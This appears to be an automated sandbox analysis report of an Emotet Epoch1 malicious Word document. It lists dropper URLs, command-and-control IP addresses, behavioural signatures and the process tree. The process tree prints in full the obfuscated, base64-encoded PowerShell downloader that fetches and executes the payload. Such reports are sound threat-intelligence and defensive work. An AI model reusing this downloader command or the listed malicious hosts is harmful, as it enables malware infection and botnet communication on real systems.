Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    136s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    29/10/2020, 11:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_2504bfe6f4638ca673793d5db9c066cdd99e889e351c575fdff4b20dccdf228e_2020-10-29__115218698717._doc.doc
  • Size 287KB
  • Sample201029-8cblmca6s6
  • SHA256 2504bfe6f4638ca673793d5db9c066cdd99e889e351c575fdff4b20dccdf228e
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch1bankertrojan

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://innhanmachn.com/wp-admin/sA/
  • exe.dropper

    http://shomalhouse.com/wp-includes/ID3/IDz/
  • exe.dropper

    http://blog.martyrolnick.com/wp-admin/Spq/
  • exe.dropper

    https://www.frajamomadrid.com/wp-content/g/
  • exe.dropper

    https://pesquisacred.com/vmware-unlocker/daC/
  • exe.dropper

    https://medhempfarm.com/wp-admin/Lb/
  • exe.dropper

    http://ienglishabc.com/cow/2BB/

Extracted

Family

  • emotet

Botnet

  • Epoch1

C2

  • 192.198.91.138:443

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 94.23.62.116:8080

  • 103.13.224.53:80

  • 101.187.81.254:80

  • 76.121.199.225:80

  • 178.250.54.208:8080

  • 45.33.77.42:8080

  • 5.196.35.138:7080

  • 12.163.208.58:80

  • 37.183.81.217:80

  • 120.72.18.91:80

  • 81.214.253.80:443

  • 183.176.82.231:80

  • 185.94.252.27:443

  • 12.162.84.2:8080

  • 74.58.215.226:80

  • 60.249.78.226:8080

  • 50.28.51.143:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2504bfe6f4638ca673793d5db9c066cdd99e889e351c575fdff4b20dccdf228e_2020-10-29__115218698717._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4680
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JAAxAEQAMgAgACAAPQBbAHQAWQBwAEUAXQAoACIAewAzAH0AewAxAH0AewA0AH0AewA1AH0AewAwAH0AewAyAH0AIgAtAGYAIAAnAGUAYwBUAG8AJwAsACcAUwB0AGUATQAuACcALAAnAFIAeQAnACwAJwBzAHkAJwAsACcASQBvAC4AJwAsACcAZABpAFIAJwApADsAIAAgACAAIAAkAHQASgA4AG0ANABCACAAPQBbAFQAWQBwAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAzAH0AewAwAH0AIgAtAGYAIAAnAHIAJwAsACcAaQBOAFQAbQBBAG4AQQBnACcALAAnAHMAWQBzAHQAZQBNAC4AbgBFACcALAAnAGUAJwAsACcAVAAnACwAJwAuAFMAZQByAFYASQBjAEUAcABPACcAKQAgADsAIAAgACQAWQBzAGEAMgAxADIAZwA9ACgAJwBOACcAKwAoACcAYgA3AGkAYgAwACcAKwAnADAAJwApACkAOwAkAFMAOQA1AGMAegAzADQAPQAkAEkAMABwAGgAcwBkAGsAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEkAeABkAGIAeAB0AG8AOwAkAFEAZABmAGcAMgBjAHAAPQAoACgAJwBDAGgAbgBzACcAKwAnADcAJwApACsAJwAyACcAKwAnAGQAJwApADsAIAAgACgAZABJAFIAIAB2AGEAcgBpAEEAQgBsAGUAOgAxAEQAMgApAC4AdgBhAGwAdQBFADoAOgAiAEMAUgBgAGUAQQB0AGUARABpAHIAYABlAGMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAOABVACcAKwAnAEwAJwApACsAKAAnAFAAagAnACsAJwBxACcAKQArACgAJwA2AHQAMwAnACsAJwBfADgAVQBMACcAKwAnAEoAdgBuACcAKwAnAGsAJwApACsAKAAnADcAJwArACcAeQBrACcAKQArACgAJwA4AFUAJwArACcATAAnACkAKQAuACIAUgBgAGUAYABwAGwAYQBjAGUAIgAoACgAJwA4ACcAKwAnAFUATAAnACkALAAnAFwAJwApACkAKQA7ACQAUQBvADAAOABqAGMAaQA9ACgAJwBGACcAKwAnADUAJwArACgAJwBvAGMAeAAnACsAJwBlAHgAJwApACkAOwAgACgAIAAgAEkAVABFAE0AIAAgAHYAQQBSAEkAQQBiAGwARQA6AFQAagA4AE0ANABCACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAYABUAHkAUABSAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAxACcAKQArACcAMgAnACkAOwAkAFIANwB3ADAANQAzAGkAPQAoACgAJwBOAHUAZQAnACsAJwBsADIAJwApACsAJwA0ACcAKwAnAGsAJwApADsAJABUAGUAZABiAHIAMAAwACAAPQAgACgAJwBOACcAKwAnADEAcAAnACsAKAAnAGoAdQByACcAKwAnADMAdQAnACkAKQA7ACQASABfADgAeQBuAGkAMAA9ACgAJwBKADYAJwArACcAYQAnACsAKAAnAGYAJwArACcAZgB2ADYAJwApACkAOwAkAFIAbwB6ADAAOQBkAHAAPQAoACcAVgAnACsAKAAnAHQAOQAnACsAJwAxAG8AcABoACcAKQApADsAJABHAGwAawB2AGYANwBiAD0AJABIAE8ATQBFACsAKAAoACcAewAwACcAKwAnAH0AUABqAHEANgAnACsAJwB0ACcAKwAnADMAXwAnACsAJwB7ADAAJwArACcAfQBKAHYAbgBrADcAeQBrAHsAMAB9ACcAKQAgAC0ARgBbAEMAaABhAHIAXQA5ADIAKQArACQAVABlAGQAYgByADAAMAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBkAHMANABtAHgAZwA9ACgAKAAnAEUAJwArACcAMgBuACcAKQArACcAMABqACcAKwAnAHEAbwAnACkAOwAkAFEANABiADEAZwA1AG4APQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBFAEIAYwBMAGkAZQBOAHQAOwAkAEIAbwBpAGUAcAAwADEAPQAoACgAKAAnAGgAdAAnACsAJwB0AHAAOgBdAFsAJwArACcAIAAnACkAKwAnADEAJwArACgAKAAnACkAIAAnACkAKQArACcAagBqACcAKwAoACgAJwBrAGcAUwAgAFsAXQAgAFsAXQB3ACcAKwAnAF0AWwAnACsAJwAgADEAKQAnACsAJwAgACcAKQApACsAKAAnAGoAagAnACsAJwBrAGcAUwAgAFsAXQAnACkAKwAoACcAIABbAF0AdwBpACcAKwAnAG4AbgBoACcAKQArACgAJwBhAG4AbQBhACcAKwAnAGMAaABuAC4AJwApACsAKAAoACcAYwBvAG0AXQAnACsAJwBbACAAMQApACAAJwApACkAKwAnAGoAJwArACgAJwBqAGsAZwBTACcAKwAnACAAWwBdACcAKQArACgAJwAgAFsAXQAnACsAJwB3ACcAKQArACcAdwBwACcAKwAoACcALQAnACsAJwBhAGQAbQAnACkAKwAoACgAJwBpAG4AXQBbACAAJwArACcAMQApACcAKwAnACAAagAnACkAKQArACgAJwBqACcAKwAnAGsAZwAnACkAKwAoACcAUwAgAFsAXQAnACsAJwAgAFsAXQAnACkAKwAnAHcAJwArACgAJwBzAEEAJwArACcAXQAnACkAKwAnAFsAJwArACgAKAAnACAAMQAnACsAJwApACAAagBqAGsAZwAnACsAJwBTACcAKQApACsAJwAgACcAKwAnAFsAJwArACgAJwBdACAAJwArACcAWwAnACkAKwAnAF0AdwAnACsAJwBAAGgAJwArACgAKAAnAHQAdABwADoAJwArACcAXQAnACsAJwBbACAAJwArACcAMQApACAAagBqACcAKQApACsAKAAnAGsAJwArACcAZwBTACAAJwApACsAKAAnAFsAXQAnACsAJwAgACcAKQArACcAWwAnACsAJwBdACcAKwAoACgAJwB3AF0AWwAnACsAJwAgADEAKQAnACkAKQArACgAJwAgAGoAJwArACcAagAnACkAKwAoACcAawBnAFMAIABbAF0AJwArACcAIABbAF0AJwArACcAdwBzAGgAJwApACsAJwBvAG0AJwArACcAYQBsACcAKwAoACcAaABvAHUAcwBlACcAKwAnAC4AYwBvACcAKQArACgAJwBtAF0AJwArACcAWwAnACkAKwAnACAAMQAnACsAKAAoACcAKQAnACsAJwAgAGoAagBrAGcAJwApACkAKwAoACcAUwAgACcAKwAnAFsAXQAnACkAKwAoACcAIABbAF0AdwB3AHAALQAnACsAJwBpAG4AJwArACcAYwAnACsAJwBsAHUAJwApACsAJwBkAGUAJwArACgAJwBzACcAKwAnAF0AWwAnACkAKwAnACAAMQAnACsAKAAoACcAKQAgACcAKQApACsAKAAnAGoAJwArACcAagBrACcAKQArACcAZwAnACsAJwBTACAAJwArACgAJwBbAF0AJwArACcAIABbACcAKQArACgAJwBdAHcAJwArACcASQAnACkAKwAoACcARAAzACcAKwAnAF0AWwAnACkAKwAnACAAMQAnACsAJwApACcAKwAoACcAIABqAGoAawAnACsAJwBnACcAKQArACgAJwBTACAAJwArACcAWwBdACcAKQArACcAIAAnACsAKAAoACcAWwAnACsAJwBdAHcASQAnACsAJwBEAHoAXQBbACAAMQApACcAKQApACsAKAAnACAAagBqAGsAZwAnACsAJwBTACcAKQArACcAIAAnACsAKAAnAFsAXQAgACcAKwAnAFsAJwArACcAXQB3AEAAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgBdACcAKwAnAFsAIAAnACkAKwAoACgAJwAxACkAJwApACkAKwAoACcAIAAnACsAJwBqAGoAawBnAFMAIAAnACsAJwBbAF0AIAAnACkAKwAoACcAWwBdACcAKwAnAHcAXQBbACcAKQArACgAKAAnACAAJwArACcAMQApACcAKQApACsAKAAnACAAJwArACcAagBqAGsAJwApACsAKAAnAGcAJwArACcAUwAgAFsAXQAnACkAKwAoACcAIABbACcAKwAnAF0AJwApACsAJwB3AGIAJwArACcAbABvACcAKwAoACcAZwAnACsAJwAuAG0AYQAnACkAKwAoACcAcgAnACsAJwB0AHkAcgAnACkAKwAoACcAbwBsACcAKwAnAG4AaQAnACkAKwAoACcAYwBrAC4AJwArACcAYwBvAG0AJwApACsAJwBdACcAKwAoACcAWwAnACsAJwAgADEAJwApACsAKAAoACcAKQAnACsAJwAgAGoAJwApACkAKwAnAGoAawAnACsAKAAnAGcAUwAnACsAJwAgAFsAXQAgACcAKwAnAFsAJwApACsAKAAnAF0AdwB3AHAAJwArACcALQAnACsAJwBhAGQAbQAnACkAKwAoACcAaQBuACcAKwAnAF0AJwApACsAKAAoACcAWwAgADEAKQAgACcAKwAnAGoAagAnACkAKQArACcAawAnACsAKAAnAGcAUwAgAFsAJwArACcAXQAgACcAKQArACgAJwBbACcAKwAnAF0AdwBTACcAKQArACgAJwBwAHEAXQAnACsAJwBbACAAMQAnACkAKwAoACgAJwApACAAJwApACkAKwAnAGoAJwArACcAagBrACcAKwAoACcAZwBTACAAWwBdACAAWwBdACcAKwAnAHcAJwArACcAQABoAHQAdAAnACkAKwAnAHAAJwArACcAcwA6ACcAKwAnAF0AJwArACgAKAAnAFsAIAAnACsAJwAxACkAIABqACcAKwAnAGoAawBnAFMAIAAnACkAKQArACcAWwBdACcAKwAnACAAJwArACgAJwBbACcAKwAnAF0AdwBdACcAKQArACcAWwAnACsAJwAgADEAJwArACgAKAAnACkAIAAnACkAKQArACcAagBqACcAKwAoACcAawBnAFMAIABbAF0AIABbACcAKwAnAF0AdwB3AHcAdwAnACsAJwAuAGYAJwApACsAJwByACcAKwAoACcAYQBqAGEAbQBvAG0AJwArACcAYQBkACcAKwAnAHIAaQAnACsAJwBkAC4AYwAnACsAJwBvAG0AJwApACsAKAAnAF0AJwArACcAWwAgADEAJwApACsAKAAoACcAKQAgAGoAJwArACcAagAnACkAKQArACcAawBnACcAKwAnAFMAIAAnACsAKAAnAFsAXQAgAFsAJwArACcAXQB3ACcAKQArACgAJwB3AHAAJwArACcALQAnACkAKwAoACcAYwBvAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQAJwArACcAXQAnACkAKwAnAFsAIAAnACsAJwAxACcAKwAoACgAJwApACcAKwAnACAAagAnACkAKQArACgAJwBqAGsAJwArACcAZwAnACkAKwAnAFMAJwArACgAJwAgAFsAJwArACcAXQAnACkAKwAoACcAIAAnACsAJwBbAF0AdwBnAF0AJwApACsAKAAoACcAWwAgADEAKQAnACsAJwAgAGoAJwArACcAagBrAGcAJwApACkAKwAnAFMAIAAnACsAKAAnAFsAXQAnACsAJwAgACcAKQArACgAJwBbACcAKwAnAF0AdwBAAGgAJwApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6ACcAKwAnAF0AWwAgADEAJwArACcAKQAgACcAKwAnAGoAagBrACcAKwAnAGcAUwAgAFsAXQAgACcAKQApACsAKAAnAFsAXQB3AF0AWwAnACsAJwAgACcAKQArACgAKAAnADEAKQAnACsAJwAgACcAKQApACsAKAAnAGoAagBrAGcAJwArACcAUwAgAFsAJwArACcAXQAnACkAKwAnACAAWwAnACsAJwBdAHcAJwArACgAJwBwACcAKwAnAGUAcwBxAHUAaQAnACkAKwAoACcAcwAnACsAJwBhAGMAJwApACsAJwByAGUAJwArACcAZAAnACsAKAAoACcALgAnACsAJwBjAG8AbQBdAFsAIAAxACkAIABqAGoAJwArACcAawAnACkAKQArACcAZwAnACsAJwBTACAAJwArACcAWwBdACcAKwAoACcAIABbAF0AdwAnACsAJwB2AG0AdwAnACkAKwAoACcAYQByACcAKwAnAGUALQB1AG4AbAAnACkAKwAoACcAbwBjAGsAJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBdAFsAIAAxACcAKQArACgAKAAnACkAIAAnACkAKQArACgAJwBqACcAKwAnAGoAawAnACkAKwAnAGcAJwArACgAJwBTACAAWwAnACsAJwBdACAAJwApACsAKAAnAFsAJwArACcAXQB3ACcAKQArACcAZABhACcAKwAnAEMAJwArACcAXQAnACsAJwBbACcAKwAoACgAJwAgACcAKwAnADEAKQAgACcAKwAnAGoAagAnACkAKQArACgAJwBrAGcAJwArACcAUwAnACkAKwAnACAAJwArACgAJwBbAF0AJwArACcAIAAnACkAKwAnAFsAXQAnACsAJwB3ACcAKwAnAEAAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAnAF0AWwAnACsAKAAoACcAIAAxACkAJwArACcAIAAnACkAKQArACcAagAnACsAJwBqACcAKwAoACcAawAnACsAJwBnAFMAJwApACsAKAAnACAAWwAnACsAJwBdACcAKQArACgAJwAgAFsAJwArACcAXQAnACkAKwAoACcAdwBdAFsAIAAnACsAJwAxACcAKQArACcAKQAnACsAJwAgACcAKwAoACcAagBqACcAKwAnAGsAZwBTACAAJwApACsAJwBbACcAKwAoACcAXQAnACsAJwAgAFsAXQB3AG0AZQAnACkAKwAnAGQAJwArACgAJwBoACcAKwAnAGUAbQAnACkAKwAoACgAJwBwAGYAYQAnACsAJwByAG0ALgBjACcAKwAnAG8AbQBdACcAKwAnAFsAIAAxACkAJwApACkAKwAnACAAJwArACgAJwBqAGoAJwArACcAawBnACcAKQArACgAJwBTACcAKwAnACAAWwBdACAAWwAnACkAKwAoACcAXQB3AHcAcAAnACsAJwAtAGEAJwApACsAJwBkAG0AJwArACgAJwBpAG4AJwArACcAXQAnACkAKwAnAFsAJwArACcAIAAnACsAJwAxACcAKwAoACgAJwApACAAagBqAGsAZwBTACAAWwAnACsAJwBdACcAKwAnACAAWwBdAHcAJwArACcATAAnACkAKQArACcAYgAnACsAKAAoACcAXQBbACAAMQAnACsAJwApACAAagBqACcAKQApACsAKAAnAGsAJwArACcAZwBTACcAKwAnACAAWwBdACcAKQArACcAIAAnACsAJwBbAF0AJwArACcAdwAnACsAJwBAAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6AF0AWwAgADEAJwApACsAJwApACcAKwAoACcAIABqACcAKwAnAGoAawBnAFMAIABbAF0AJwArACcAIAAnACkAKwAnAFsAJwArACgAJwBdAHcAXQAnACsAJwBbACcAKQArACgAKAAnACAAMQAnACsAJwApACcAKQApACsAKAAnACAAJwArACcAagBqACcAKQArACgAJwBrAGcAJwArACcAUwAgAFsAXQAnACsAJwAgAFsAXQAnACkAKwAnAHcAJwArACgAJwBpAGUAbgAnACsAJwBnACcAKQArACgAJwBsAGkAJwArACcAcwBoAGEAJwApACsAJwBiAGMAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACgAJwBtAF0AWwAnACsAJwAgADEAKQAnACsAJwAgAGoAJwApACkAKwAoACcAagBrACcAKwAnAGcAUwAnACkAKwAoACgAJwAgACcAKwAnAFsAXQAnACsAJwAgAFsAJwArACcAXQB3AGMAJwArACcAbwB3AF0AWwAgADEAJwArACcAKQAgACcAKQApACsAJwBqAGoAJwArACcAawAnACsAKAAnAGcAUwAnACsAJwAgACcAKQArACcAWwAnACsAJwBdACcAKwAoACcAIAAnACsAJwBbAF0AJwApACsAKAAnAHcAMgBCACcAKwAnAEIAJwApACsAKAAoACcAXQBbACAAJwArACcAMQApACcAKQApACsAJwAgACcAKwAnAGoAJwArACgAJwBqAGsAJwArACcAZwAnACkAKwAoACcAUwAgACcAKwAnAFsAXQAgACcAKQArACcAWwBdACcAKwAnAHcAJwApACkALgAiAFIAYABlAHAAYABsAGEAYwBFACIAKAAoACgAJwBdAFsAJwArACgAKAAnACAAJwArACcAMQApACAAagBqAGsAZwAnACsAJwBTACAAWwBdACcAKQApACsAJwAgACcAKwAoACcAWwBdACcAKwAnAHcAJwApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAUwBgAFAAbABpAFQAIgAoACQATwBkADcAYwBjAHcAOQAgACsAIAAkAFMAOQA1AGMAegAzADQAIAArACAAJABPAG4ANQA1AGwAagBnACkAOwAkAFEAOQBlAGMAYwBjADUAPQAoACgAJwBGACcAKwAnAG8ANAAnACkAKwAnAGcAJwArACgAJwAyACcAKwAnAHIAawAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUwA3AG0AXwBiAHMAaAAgAGkAbgAgACQAQgBvAGkAZQBwADAAMQApAHsAdAByAHkAewAkAFEANABiADEAZwA1AG4ALgAiAGQAYABvAFcAbgBMAGAATwBhAGAARABmAEkAbABFACIAKAAkAFMANwBtAF8AYgBzAGgALAAgACQARwBsAGsAdgBmADcAYgApADsAJABFADQAZgBrAHQAZQBhAD0AKAAnAEQAJwArACcAbABpACcAKwAoACcAMAAnACsAJwA0AG4AXwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABHAGwAawB2AGYANwBiACkALgAiAGwAYABlAGAATgBnAHQAaAAiACAALQBnAGUAIAA0ADcAOQAxADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAJwArACgAJwBuACcAKwAnADMAMgAnACkAKwAnAF8AUAAnACsAKAAnAHIAJwArACcAbwBjAGUAcwBzACcAKQApACkALgAiAEMAUgBgAGUAYABBAHQARQAiACgAJABHAGwAawB2AGYANwBiACkAOwAkAEsAbABtAG0AbABjAHIAPQAoACgAJwBWADYAegAnACsAJwA0ADMAJwArACcAcQAnACkAKwAnAGQAJwApADsAYgByAGUAYQBrADsAJABNAHkAcwBlADgAcAB0AD0AKAAnAFMAOAAnACsAKAAnADIANgA2AGoAJwArACcANwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAB3AG4AZgA5AGIANQA9ACgAJwBSAF8AJwArACgAJwAxAGsAbAAnACsAJwB3ACcAKQArACcAbwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4220
  • C:\Users\Admin\Pjq6t3_\Jvnk7yk\N1pjur3u.exe
    C:\Users\Admin\Pjq6t3_\Jvnk7yk\N1pjur3u.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:4300
    • C:\Windows\SysWOW64\XblGameSaveProxy\MbaeApi.exe
      "C:\Windows\SysWOW64\XblGameSaveProxy\MbaeApi.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:540
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:4432
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:4460
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:4468

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/540-16-0x00000000020D0000-0x000000000210D000-memory.dmp
            Download

            memory/540-17-0x0000000002110000-0x000000000214C000-memory.dmp
            Download

            memory/4220-9-0x0000021D466C0000-0x0000021D466C1000-memory.dmp
            Download

            memory/4220-8-0x0000021D463B0000-0x0000021D463B1000-memory.dmp
            Download

            memory/4220-7-0x00007FFEDDDE0000-0x00007FFEDE7CC000-memory.dmp
            Download

            memory/4300-12-0x00000000027A0000-0x00000000027DD000-memory.dmp
            Download

            memory/4300-13-0x00000000027E0000-0x000000000281C000-memory.dmp
            Download

            memory/4680-0-0x00007FFEE49A0000-0x00007FFEE4FD7000-memory.dmp
            Download

            memory/4680-4-0x0000025F66C21000-0x0000025F66C26000-memory.dmp
            Download